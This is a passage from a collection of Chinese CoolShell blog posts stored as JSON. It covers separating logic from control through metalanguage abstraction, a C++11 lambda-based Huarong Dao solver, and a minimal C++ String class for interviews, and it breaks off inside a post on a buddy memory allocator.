**每种组件形式都代表了特定的抽象维度，组件复用只能在其维度上进行抽象层次的提升**。比如，我们可以把常用的HashMap等功能封装为类库，但是不管怎么封装复用类永远是类，封装虽然提升了代码的抽象层次，但是它永远不会变成Lambda，而实际问题所代表的抽象维度往往与之并不匹配。\n\n\n以常见的二进制消息的解析为例，组件复用技术所能做到的只是把读取字节，检查约束，计算CRC等功能封装成函数，这是远远不够的。比如，下面的表格定义了二进制消息X的格式：\n\n\n\n\n```\nMessage X:\n--------------------------------------------------------\n| ID |  Name           | Type    | Size | Constraints  |\n--------------------------------------------------------\n| 1  | message type    | int     | 1    | = 0x01       |\n--------------------------------------------------------\n| 2  | payload size    | int     | 2    | > 0          |\n--------------------------------------------------------\n| 3  | payload         | bytes   | <2>  |              |\n--------------------------------------------------------\n| 4  | CRC             | int     | 4    |              |\n--------------------------------------------------------\n```\n\n它的解析函数大概是这个样子：\n\n\n\n```\n\nbool parse_message_x(char* data, int32 size, MessageX& x) {\n    char *ptr = data;\n    if (ptr + sizeof(int8) <= data + size) {\n        x.message_type = read_int8(ptr);\n        if (0x01 != x.message_type) return false;\n        ptr += sizeof(int8);\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int16) <= data + size) {\n        x.payload_size = read_int16(ptr);\n        ptr += sizeof(int16);\n    } else {\n        return false;\n    }\n    if (ptr + x.payload_size <= data + size) {\n        x.payload = new int8[x.payload_size];\n        read(ptr, x.payload, x.payload_size);\n        ptr += x.payload_size;\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int32) <= data + size) {\n        x.crc = read_int32(ptr);\n        ptr += sizeof(int32);\n    } else {\n        delete x.payload;\n        return false;\n    }\n    if (crc(data, sizeof(int8) + sizeof(int16) + x.payload_size) != x.crc) {\n        delete x.payload;\n        return false;\n    }\n    return true;\n}\n\n```\n\n很明显，虽然消息X的定义非常简单，但是它的解析函数却显得很繁琐，需要小心翼翼地处理很多细节。在处理其他消息Y时，虽然虽然Y和X很相似，但是却不得不再次在解析过程中处理这些细节，就是组件复用方法的局限性，它只能帮我们按照函数或者类的语义把功能封装成可复用的组件，但是消息的结构特征既不是函数也不是类，这就是抽象维度的失配。\n\n\n#### 程序的本质复杂性\n\n\n上面分析了组件复用技术有着根本性的局限性，现在我们要进一步思考：\n\n\n\n> 如果目标还是代码“简短、优雅、易理解、易维护”，那么代码优化是否有一个理论极限？这个极限是由什么决定的？普通代码比起最优代码多出来的“冗余部分”到底干了些什么事情？\n> \n> \n\n\n回答这个问题要从程序的本质说起。Pascal语言之父Niklaus Wirth在70年代提出：Program = Data Structure + Algorithm，随后逻辑学家和计算机科学家R Kowalski进一步提出：Algorithm = Logic + Control。谁更深刻更有启发性？当然是后者！而且我认为数据结构和算法都属于控制策略，综合二位的观点，加上我自己的理解，程序的本质是：Program = Logic + Control。换句话说，程序包含了逻辑和控制两个维度。\n\n\n逻辑就是问题的定义，比如，对于排序问题来讲，逻辑就是“什么叫做有序，什么叫大于，什么叫小于，什么叫相等”？控制就是如何合理地安排时间和空间资源去实现逻辑。逻辑是程序的灵魂，它定义了程序的本质；控制是为逻辑服务的，是非本质的，可以变化的，如同排序有几十种不同的方法，时间空间效率各不相同，可以根据需要采用不同的实现。\n\n\n程序的复杂性包含了本质复杂性和非本质复杂性两个方面。套用这里的术语， **程序的本质复杂性就是逻辑，非本质复杂性就是控制**。逻辑决定了代码复杂性的下限，也就是说不管怎么做代码优化，Office程序永远比Notepad程序复杂，这是因为前者的逻辑就更为复杂。如果要代码简洁优雅，任何语言和技术所能做的只是尽量接近这个本质复杂性，而不可能超越这个理论下限。\n\n\n理解”程序的本质复杂性是由逻辑决定的”从理论上为我们指明了代码优化的方向：让逻辑和控制这两个维度保持正交关系。来看Java的Collections.sort方法的例子：\n\n\n\n```\n\ninterface Comparator<T> {\n    int compare(T o1, T o2);\n}\npublic static <T> void sort(List<T> list, Comparator<? super T> comparator)\n\n```\n\n使用者只关心逻辑部份，即提供一个Comparator对象表明序在类型T上的定义；控制的部分完全交给方法实现者，可以有多种不同的实现，这就是逻辑和控制解耦。同时，我们也可以断定，这个设计已经达到了代码优化的理论极限，不会有本质上比它更简洁的设计（忽略相同语义的语法差异），为什么？因为逻辑决定了它的本质复杂度，Comparator和Collections.sort的定义完全是逻辑的体现，不包含任何非本质的控制部分。\n\n\n另外需要强调的是，上面讲的“控制是非本质复杂性”并不是说控制不重要，控制往往直接决定了程序的性能，当我们因为性能等原因必须采用某种控制的时候，实际上被固化的控制策略也是一种逻辑。比如，当你的需求是“从进程虚拟地址ptr1拷贝1024个字节到地址ptr2“，那么它就是问题的定义，它就是逻辑，这时，提供进程虚拟地址直接访问语义的底层语言就与之完全匹配，反而是更高层次的语言对这个需求无能为力。\n\n\n介绍了逻辑和控制的关系，可能很多朋友已经开始意识到了上面二进制文件解析实现的问题在哪里，其实这也是 **绝大多数程序不够简洁优雅的根本原因：逻辑与控制耦合**。上面那个消息定义表格就是不包含控制的纯逻辑，我相信即使不是程序员也能读懂它；而相应的代码把逻辑和控制搅在一起之后就不那么容易读懂了。\n\n\n熟悉OOP和GoF设计模式的朋友可能会把“逻辑与控制解耦”与经常听说的“接口和实现解耦”联系在一起，他们是不是一回事呢？其实，把这里所说的逻辑和OOP中的接口划等号是似是而非的， 而GoF设计模式最大的问题就在于有意无意地让人们以为“what就是interface, interface就是what”，很多朋友一想到要表达what，要抽象，马上写个接口出来，这就是潜移默化的惯性思维，自己根本意识不到问题在哪里。其实，接口和前面提到的组件复用技术一样，同样受限于特定的抽象维度，它不是表达逻辑的通用方法，比如，我们无法把二进制文件格式特征用接口来表示。\n\n\n另外，我们熟悉的许多GoF模式以“逻辑与控制解耦”的观点来看，都不是最优的。比如，很多时候Observer模式都是典型的以控制代逻辑，来看一个例子：\n\n\n\n> 对于某网页的超链接，要求其颜色随着状态不同而变化，点击之前的颜色是#FF0000，点击后颜色变成#00FF00。\n> \n> \n\n\n基于Observer模式的实现是这样的：\n\n\n[javascript]  \n\n$(a).css(‘color’, ‘#FF0000’);\n\n\n$(a).click(function() {  \n\n $(this).css(‘color’, ‘#00FF00’);  \n\n});  \n\n[/javascript]\n\n\n而基于纯CSS的实现是这样的：\n\n\n\n```\n\na:link {color: #FF0000}\na:visited {color: #00FF00}\n\n```\n\n通过对比，您看出二者的差别了吗？显然，Observer模式包含了非本质的控制，而CSS是只包含逻辑。理论上讲，CSS能做的事情，JavaScript都能通过控制做到，那么为什么浏览器的设计者要引入CSS呢，这对我们有何启发呢？\n\n\n#### 元语言抽象\n\n\n好的，我们继续思考下面这个问题：\n\n\n\n> \n> 逻辑决定了程序的本质复杂性，但接口不是表达逻辑的通用方式，那么是否存在表达逻辑的通用方式呢？\n> \n> \n\n\n答案是：有！这就是元(Meta)，包括元语言(Meta Language)和元数据(Meta Data)两个方面。元并不神秘，我们通常所说的配置就是元，元语言就是配置的语法和语义，元数据就是具体的配置，它们之间的关系就是C语言和C程序之间的关系；但是，同时元又非常神奇，因为元既是数据也是代码，在表达逻辑和语义方面具有无与伦比的灵活性。至此，我们终于找到了让代码变得简洁、优雅、易理解、易维护的终极方法，这就是： **通过元语言抽象让逻辑和控制彻底解耦**！\n\n\n比如，对于二进制消息解析，经典的做法是类似Google的[Protocol Buffers](http://code.google.com/p/protobuf/)，把消息结构特征抽象出来，定义消息描述元语言，再通过元数据描述消息结构。下面是Protocol Buffers元数据的例子，这个元数据是纯逻辑的表达，它的复杂度体现的是消息结构的本质复杂度，而如何序列化和解析这些控制相关的部分被Protocol Buffers编译器隐藏起来了。\n\n\n\n```\n\nmessage Person {\n  required int32 id = 1;\n  required string name = 2;\n  optional string email = 3;\n}\n\n```\n\n元语言解决了逻辑表达问题，但是最终要与控制相结合成为具体实现，这就是元语言到目标语言的映射问题。通常有这两种方法：\n\n\n1) 元编程(Meta Programming)，开发从元语言到目标语言的编译器，将元数据编译为目标程序代码；\n\n\n2) 元驱动编程(Meta Driven Programming)，直接在目标语言中实现元语言的解释器。\n\n\n这两种方法各有优势，元编程由于有静态编译阶段，一般产生的目标程序代码性能更好，但是这种方式混合了两个层次的代码，增加了代码配置管理的难度，一般还需要同时配备Build脚本把整个代码生成自动集成到Build过程中，此外，和IDE的集成也是问题；元驱动编程则相反，没有静态编译过程，元语言代码是动态解析的，所以性能上有损失，但是更加灵活，开发和代码配置管理的难度也更小。除非是性能要求非常高的场合，我推荐的是元驱动编程，因为它更轻量，更易于与目标语言结合。\n\n\n下面是用元驱动编程解决二进制消息解析问题的例子，meta\\_message\\_x是元数据，parse\\_message是解释器：\n\n\n[javascript]  \n\nvar meta\\_message\\_x = {  \n\n id: ‘x’,  \n\n fields: [  \n\n { name: ‘message\\_type’, type: int8, value: 0x01 },  \n\n { name: ‘payload\\_size’, type: int16 },  \n\n { name: ‘payload’, type: bytes, size: ‘$payload\\_size’ },  \n\n { name: ‘crc’, type: crc32, source: [‘message\\_type’, ‘payload\\_size’, ‘payload’] }  \n\n ]  \n\n}\n\n\nvar message\\_x = parse\\_message(meta\\_message\\_x, data, size);  \n\n[/javascript]\n\n\n这段代码我用的是JavaScript语法，因为对于支持Literal的类似JSON对象表示的语言中，实现元驱动编程最为简单。如果是Java或C++语言，语法上稍微繁琐一点，不过本质上是一样的，或者引入JSON配置文件，然后解析配置，或者定义MessageConfig类，直接把这个类对象作为配置信息。\n\n\n二进制文件解析问题是一个经典问题，有Protocol Buffers、Android AIDL等大量的实例，所以很多人能想到引入消息定义元语言，但是如果我们把问题稍微变换，能想到采用这种方法的人就不多了。来看下面这个问题：\n\n\n\n> 某网站有新用户注册、用户信息更新，和个性设置等Web表单。出于性能和用户体验的考虑，在用户点击提交表单时，会先进行浏览器端的验证，比如：name字段至少3个字符，password字段至少8个字符，并且和repeat password要一致，email要符合邮箱格式；通过浏览器端验证以后才通过HTTP请求提交到服务器。\n> \n> \n\n\n普通的实现是这个样子的：\n\n\n[javascript]  \n\nfunction check\\_form\\_x() {  \n\n var name = $(‘#name’).val();  \n\n if (null == name || name.length <= 3) {  \n\n return { status : 1, message: ‘Invalid name’ };  \n\n }\n\n\n var password = $(‘#password’).val();  \n\n if (null == password || password.length <= 8) {  \n\n return { status : 2, message: ‘Invalid password’ };  \n\n }\n\n\n var repeat\\_password = $(‘#repeat\\_password’).val();  \n\n if (repeat\\_password != password.length) {  \n\n return { status : 3, message: ‘Password and repeat password mismatch’ };  \n\n }\n\n\n var email = $(‘#email’).val();  \n\n if (check\\_email\\_format(email)) {  \n\n return { status : 4, message: ‘Invalid email’ };  \n\n }\n\n\n …\n\n\n return { status : 0, message: ‘OK’ };\n\n\n}  \n\n[/javascript]\n\n\n上面的实现就是按照组建复用的思想封装了一下检测email格式之类的通用函数，这和刚才的二进制消息解析非常相似，没法在不同的表单之间进行大规模复用，很多细节都必须被重复编写。下面是用元语言抽象改进后的做法：\n\n\n[javascript]  \n\nvar meta\\_create\\_user = {  \n\n form\\_id : ‘create\\_user’,  \n\n fields : [  \n\n { id : ‘name’, type : ‘text’, min\\_length : 3 },  \n\n { id : ‘password’, type : ‘password’, min\\_length : 8 },  \n\n { id : ‘repeat-password’, type : ‘password’, min\\_length : 8 },  \n\n { id : ’email’, type : ’email’ }  \n\n ]  \n\n};\n\n\nvar r = check\\_form(meta\\_create\\_user);  \n\n[/javascript]\n\n\n通过定义表单属性元语言，整个逻辑顿时清晰了，细节的处理只需要在check\\_form中编写一次，完全实现了“简短、优雅、易理解、以维护”的目标。其实，不仅Web表单验证可以通过元语言描述，整个Web页面从布局到功能全部都可以通过一个元对象描述，完全将逻辑和控制解耦。此外，我编写的用于解析命令行参数的[lineparser.js](https://github.com/weidagang/line-parser-js)库也是基于元语言的，有兴趣的朋友可以参考并对比它和其他命令行解析库的设计差异。\n\n\n最后，我们再来从代码长度的角度来分析一下元驱动编程和普通方法之间的差异。假设一个功能在系统中出现了n次，对于普通方法来讲，由于逻辑和控制的耦合，它的代码量是n \\* (L + C)，而元驱动编程只需要实现一次控制，代码长度是C + n \\* L，其中L表示逻辑相关的代码量，C表示控制相关的代码量。通常情况下L部分都是一些配置，不容易引入bug，复杂的主要是C的部分，普通方法中C被重复了n次，引入bug的可能性大大增加，同时修改一个bug也可能要改n个地方。所以，对于重复出现的功能，元驱动编程大大减少了代码量，减小了引入bug的可能，并且提高了可维护性。\n\n\n#### 总结\n\n\n《人月神话》的作者Fred Brooks曾在80年代阐述了它对于软件复杂性的看法，即著名的[No Silver Bullet](http://en.wikipedia.org/wiki/No_Silver_Bullet)。他认为不存在一种技术能使得软件开发在生产力、可靠性、简洁性方面提高一个数量级。我不清楚Brooks这一论断详细的背景，但是就个人的开发经验而言，元驱动编程和普通编程方法相比在生产力、可靠性和简洁性方面的确是数量级的提升,在我看来它就是软件开发的银弹！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11629.html)[「我只是认真」聊聊工匠情怀](https://coolshell.cn/articles/11629.html)\n* [![持续部署，并不简单！](../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg)](https://coolshell.cn/articles/7657.html)[持续部署，并不简单！](https://coolshell.cn/articles/7657.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/4951.html)[软件公司的两种管理方式](https://coolshell.cn/articles/4951.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg](https://coolshell.cn/articles/6312.html)[一个女程序员的故事](https://coolshell.cn/articles/6312.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\nThe post [程序的本质复杂性和元语言抽象](https://coolshell.cn/articles/10652.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-9 C++11的Lambda使用一例：华容道求解.md",
    "content": "---\nlayout: post\ntitle: C++11的Lambda使用一例：华容道求解\ndate: 2013/10/9/ 7:50:21\nupdated: 2013/10/9/ 7:50:21\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 [http://tp2.sinaimg.cn/1701018393/50/1297990315/1](http://weibo.com/u/1701018393?source=webim) [@bnu\\_chenshuo](http://weibo.com/u/1701018393?source=webim \"bnu_chenshuo\") 投稿）**\n\n\n![](../wp-content/uploads/2013/10/huarong.png)\n\n\n华容道是一个有益的智力游戏，游戏规则不再赘述。用计算机求解华容道也是一道不错的编程练习题，为了寻求最少步数，求解程序一般用广度优先搜索算法。华容道的一种常见开局如图 1 所示。\n\n\n广度优先搜索算法求解华容道的基本步骤：\n\n\n1. 准备两个“全局变量”，队列 Q 和和集合 S，S 代表“已知局面”。初时 Q 和 S 皆为空。\n2. 将初始局面加入队列 Q 的末尾，并将初始局面设为已知。\n3. 当队列不为空时，从 Q 的队首取出当前局面 `curr`。如果队列为空则结束搜索，表明无解。\n4. 如果 `curr` 是最终局面（曹操位于门口，图 2），则结束搜索，否则继续到第 5 步。\n5. 考虑 `curr` 中每个可以移动的棋子，试着上下左右移动一步，得到新局面 `next`，如果新局面未知（`next` ∉ S），则把它加入队列 Q，并设为已知。这一步可能产生多个新局面。\n6. 回到第2步。\n\n\n其中“局面已知”并不要求每个棋子的位置相同，而是指棋子的投影的形状相同（代码中用 mask 表示），例如交换图 1 中的张飞和赵云并不产生新局面，这一规定可以大大缩小搜索空间。\n\n\n以上步骤很容易转换为 C++ 代码，这篇文章重点关注的是第 5 步的实现。\n\n\n\n\n```\n// 第 1 步\nstd::unordered_set<Mask> seen;\nstd::deque<State> queue;\n\n// 第 2 步\nState initial;\n// 填入 initial，略。\nqueue.push_back(initial);\nseen.insert(initial.toMask());\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  const State curr = queue.front();\n  queue.pop_front();\n\n  // 第 4 步\n  if (curr.isSolved())\n    break;\n\n  // 第 5 步\n  for (const State& next : curr.moves())\n  {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  }\n}\n```\n\n在以上原始实现中，`curr.move()` 将返回一个 `std::vector<State>` 临时对象。一种节省开销的办法是准备一个 `std::vector<State>` “涂改变量”，让 `curr.move()` 反复修改它，比如改成：\n\n\n\n```\n// 第 1 步新增一个 scratch 变量\nstd::vector<State> nextMoves;\n\n// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.fillMoves(&nextMoves);\n  for (const State& next : nextMoves)\n  { /* 略 */ }\n}\n```\n\n还有一种彻底不用这个 `std::vector<State>` 的办法，把一部分逻辑以 lambda 的形式传给 `curr.move()`，代码的结构基本不变：\n\n\n\n```\n// 第 3 步\nwhile (!queue.empty())\n{\n  // ...\n  // 第 5 步\n  curr.move([&seen, &queue](const State& next) {\n    auto result = seen.insert(next.toMask());\n    if (result.second)\n      queue.push_back(next);\n  });\n}\n```\n\n这样一来，主程序的逻辑依然清晰，不必要的开销也降到了最小。\n\n\n在我最早的实现中，`curr.move()` 的参数是 `const std::function<void(const State&)> &`，但是我发现这里每次构造 `std::function<void(const State&)>` 对象都会分配一次内存，似乎有些不值。因此在现在的实现中 `curr.move()` 是个函数模板，这样就能自动匹配lambda参数（通常是个 struct 对象），省去了 `std::function`的内存分配。\n\n\n本文完整的代码见 [https://github.com/chenshuo/recipes/…/puzzle/huarong.cc](https://github.com/chenshuo/recipes/blob/master/puzzle/huarong.cc)，需用 GCC 4.7 编译，求解图 1 的题目的耗时约几十毫秒。\n\n\n**练习：**修改程序，打印每一步移动棋子的情况。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![是微服务架构不香还是云不香？](../wp-content/uploads/2023/05/monolith.microservices-150x150.png)](https://coolshell.cn/articles/22422.html)[是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [C++11的Lambda使用一例：华容道求解](https://coolshell.cn/articles/10476.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-9 C++面试中string类的一种正确写法.md",
    "content": "---\nlayout: post\ntitle: C++面试中string类的一种正确写法\ndate: 2013/10/9/ 7:40:38\nupdated: 2013/10/9/ 7:40:38\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 [http://tp2.sinaimg.cn/1701018393/50/1297990315/1](http://weibo.com/u/1701018393?source=webim) [@bnu\\_chenshuo](http://weibo.com/u/1701018393?source=webim \"bnu_chenshuo\") 投稿）**\n\n\nC++ 的一个常见面试题是让你实现一个 String 类，限于时间，不可能要求具备 std::string 的功能，但至少要求能正确管理资源。具体来说：\n\n\n1. 能像 int 类型那样定义变量，并且支持赋值、复制。\n2. 能用作函数的参数类型及返回类型。\n3. 能用作标准库容器的元素类型，即 vector/list/deque 的 value\\_type。（用作 std::map 的 key\\_type 是更进一步的要求，本文从略）。\n\n\n换言之，你的 String 能让以下代码编译运行通过，并且没有内存方面的错误。\n\n\n\n```\nvoid foo(String x)\n{\n}\n\nvoid bar(const String& x)\n{\n}\n\nString baz()\n{\n  String ret(\"world\");\n  return ret;\n}\n\nint main()\n{\n  String s0;\n  String s1(\"hello\");\n  String s2(s0);\n  String s3 = s1;\n  s2 = s1;\n\n  foo(s1);\n  bar(s1);\n  foo(\"temporary\");\n  bar(\"temporary\");\n  String s4 = baz();\n\n  std::vector<String> svec;\n  svec.push_back(s0);\n  svec.push_back(s1);\n  svec.push_back(baz());\n  svec.push_back(\"good job\");\n}\n```\n\n本文给出我认为适合面试的答案，强调正确性及易实现（白板上写也不会错），不强调效率。某种意义上可以说是以时间（运行快慢）换空间（代码简洁）。\n\n\n首先选择数据成员，最简单的 String 只有一个 char\\* 成员变量。好处是容易实现，坏处是某些操作的复杂度较高（例如 size() 会是线性时间）。为了面试时写代码不出错，本文设计的 String 只有一个 char\\* data\\_成员。而且规定 invariant 如下：一个 valid 的 string 对象的 data\\_ 保证不为 NULL，data\\_ 以 `'\\0'` 结尾，以方便配合 C 语言的 str\\*() 系列函数。\n\n\n其次决定支持哪些操作，构造、析构、拷贝构造、赋值这几样是肯定要有的（以前合称 big three，现在叫 copy control）。如果钻得深一点，C++11的移动构造和移动赋值也可以有。为了突出重点，本文就不考虑 operator[] 之类的重载了。\n\n\n这样代码基本上就定型了：\n\n\n\n```\n#include <utility>\n#include <string.h>\n\nclass String\n{\n public:\n  String()\n    : data_(new char[1])\n  {\n    *data_ = '\\0';\n  }\n\n  String(const char* str)\n    : data_(new char[strlen(str) + 1])\n  {\n    strcpy(data_, str);\n  }\n\n  String(const String& rhs)\n    : data_(new char[rhs.size() + 1])\n  {\n    strcpy(data_, rhs.c_str());\n  }\n  /* Delegate constructor in C++11\n  String(const String& rhs)\n    : String(rhs.data_)\n  {\n  }\n  */\n\n  ~String()\n  {\n    delete[] data_;\n  }\n\n  /* Traditional:\n  String& operator=(const String& rhs)\n  {\n    String tmp(rhs);\n    swap(tmp);\n    return *this;\n  }\n  */\n  String& operator=(String rhs) // yes, pass-by-value\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // C++ 11\n  String(String&& rhs)\n    : data_(rhs.data_)\n  {\n    rhs.data_ = nullptr;\n  }\n\n  String& operator=(String&& rhs)\n  {\n    swap(rhs);\n    return *this;\n  }\n\n  // Accessors\n\n  size_t size() const\n  {\n    return strlen(data_);\n  }\n\n  const char* c_str() const\n  {\n    return data_;\n  }\n\n  void swap(String& rhs)\n  {\n    std::swap(data_, rhs.data_);\n  }\n\n private:\n  char* data_;\n};\n```\n\n注意代码的几个要点：\n\n\n1. 只在构造函数里调用 new char[]，只在析构函数里调用 delete[]。\n2. 赋值操作符采用了《C++编程规范》推荐的现代写法。\n3. 每个函数都只有一两行代码，没有条件判断。\n4. 析构函数不必检查 data\\_ 是否为 NULL。\n5. 构造函数 `String(const char* str)` 没有检查 str 的合法性，这是一个永无止境的争论话题。这里在初始化列表里就用到了 str，因此在函数体内用 assert() 是无意义的。\n\n\n这恐怕是最简洁的 String 实现了。\n\n\n**练习1**：增加 operator==、operator<、operator[] 等操作符重载。\n\n\n**练习2**：实现一个带 int size\\_; 成员的版本，以空间换时间。\n\n\n**练习3**：受益于右值引用及移动语意，在 C++11 中对 String 实施直接插入排序的性能比C++98/03要高，试编程验证之。（g++的标准库也用到了此技术。）\n\n\n陈皓注：同时，大家可以移步看看我的一篇老文《[STL中String类的问题](http://blog.csdn.net/haoel/article/details/1491219)》\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4162.html)[又一个有趣的面试题](https://coolshell.cn/articles/4162.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3445.html)[输出从1到1000的数](https://coolshell.cn/articles/3445.html)\nThe post [C++面试中string类的一种正确写法](https://coolshell.cn/articles/10478.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-10-9 伙伴分配器的一个极简实现.md",
    "content": "---\nlayout: post\ntitle: 伙伴分配器的一个极简实现\ndate: 2013/10/9/ 15:10:42\nupdated: 2013/10/9/ 15:10:42\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友** [**@我的上铺叫路遥**](http://weibo.com/fullofbull) **投稿）**\n\n\n提起buddy system相信很多人不会陌生，它是一种经典的内存分配算法，大名鼎鼎的Linux底层的内存管理用的就是它。这里不探讨内核这么复杂实现，而仅仅是将该算法抽象提取出来，同时给出一份及其简洁的源码实现，以便定制扩展。\n\n\n伙伴分配的实质就是一种特殊的**“分离适配”**，即将内存按2的幂进行划分，相当于分离出若干个块大小一致的空闲链表，搜索该链表并给出同需求最佳匹配的大小。其优点是快速搜索合并（O(logN)时间复杂度）以及低外部碎片（最佳适配best-fit）；其缺点是内部碎片，因为按2的幂划分块，如果碰上66单位大小，那么必须划分128单位大小的块。但若需求本身就按2的幂分配，比如可以先分配若干个内存池，在其基础上进一步细分就很有吸引力了。\n\n\n可以在[维基百科](http://en.wikipedia.org/wiki/Buddy_memory_allocation)上找到该算法的描述，大体如是：\n\n\n**分配内存：**\n\n\n1.寻找大小合适的内存块（大于等于所需大小并且最接近2的幂，比如需要27，实际分配32）\n\n\n1.如果找到了，分配给应用程序。  \n\n2.如果没找到，分出合适的内存块。\n\n\n1.对半分离出高于所需大小的空闲内存块  \n\n2.如果分到最低限度，分配这个大小。  \n\n3.回溯到步骤1（寻找合适大小的块）  \n\n4.重复该步骤直到一个合适的块\n\n\n\n**释放内存：**\n\n\n1.释放该内存块\n\n\n1.寻找相邻的块，看其是否释放了。  \n\n2.如果相邻块也释放了，合并这两个块，重复上述步骤直到遇上未释放的相邻块，或者达到最高上限（即所有内存都释放了）。\n\n\n上面这段文字对你来说可能看起来很费劲，没事，我们看个内存分配和释放的示意图你就知道了：\n\n\n![](../wp-content/uploads/2013/10/buddy-memory-allocation.jpg)\n\n\n上图中，首先我们假设我们一个内存块有1024K，当我们需要给A分配70K内存的时候，\n\n\n1. 我们发现1024K的一半大于70K，然后我们就把1024K的内存分成两半，一半512K。\n2. 然后我们发现512K的一半仍然大于70K，于是我们再把512K的内存再分成两半，一半是128K。\n3. 此时，我们发现128K的一半小于70K，于是我们就分配为A分配128K的内存。\n\n\n后面的，B，C，D都这样，而释放内存时，则会把相邻的块一步一步地合并起来（合并也必需按分裂的逆操作进行合并）。\n\n\n我们可以看见，这样的算法，用二叉树这个数据结构来实现再合适不过了。\n\n\n我在网上分别找到[cloudwu](https://github.com/cloudwu/buddy)和[wuwenbin](https://github.com/wuwenbin/buddy2)写的两份开源实现和测试用例。实际上后一份是对前一份的精简和优化，本文打算从后一份入手讲解，**因为这份实现真正体现了“极简”二字，追求突破常规的，极致简单的设计。**网友对其评价甚高，甚至可用作教科书标准实现，看完之后回过头来看cloudwu的代码就容易理解了。\n\n\n分配器的整体思想是，通过一个数组形式的完全二叉树来监控管理内存，二叉树的节点用于标记相应内存块的使用状态，高层节点对应大的块，低层节点对应小的块，在分配和释放中我们就通过这些节点的标记属性来进行块的分离合并。如图所示，假设总大小为16单位的内存，我们就建立一个深度为5的满二叉树，根节点从数组下标[0]开始，监控大小16的块；它的左右孩子节点下标[1~2]，监控大小8的块；第三层节点下标[3~6]监控大小4的块……依此类推。\n\n\n![](../wp-content/uploads/2013/10/伙伴分配器.jpg)\n\n\n在分配阶段，首先要搜索大小适配的块，假设第一次分配3，转换成2的幂是4，我们先要对整个内存进行对半切割，从16切割到4需要两步，那么从下标[0]节点开始深度搜索到下标[3]的节点并将其标记为已分配。第二次再分配3那么就标记下标[4]的节点。第三次分配6，即大小为8，那么搜索下标[2]的节点，因为下标[1]所对应的块被下标[3~4]占用了。\n\n\n在释放阶段，我们依次释放上述第一次和第二次分配的块，即先释放[3]再释放[4]，当释放下标[4]节点后，我们发现之前释放的[3]是相邻的，于是我们立马将这两个节点进行合并，这样一来下次分配大小8的时候，我们就可以搜索到下标[1]适配了。若进一步释放下标[2]，同[1]合并后整个内存就回归到初始状态。\n\n\n还是看一下源码实现吧，首先是伙伴分配器的数据结构：\n\n\n\n```\nstruct buddy2 {\n  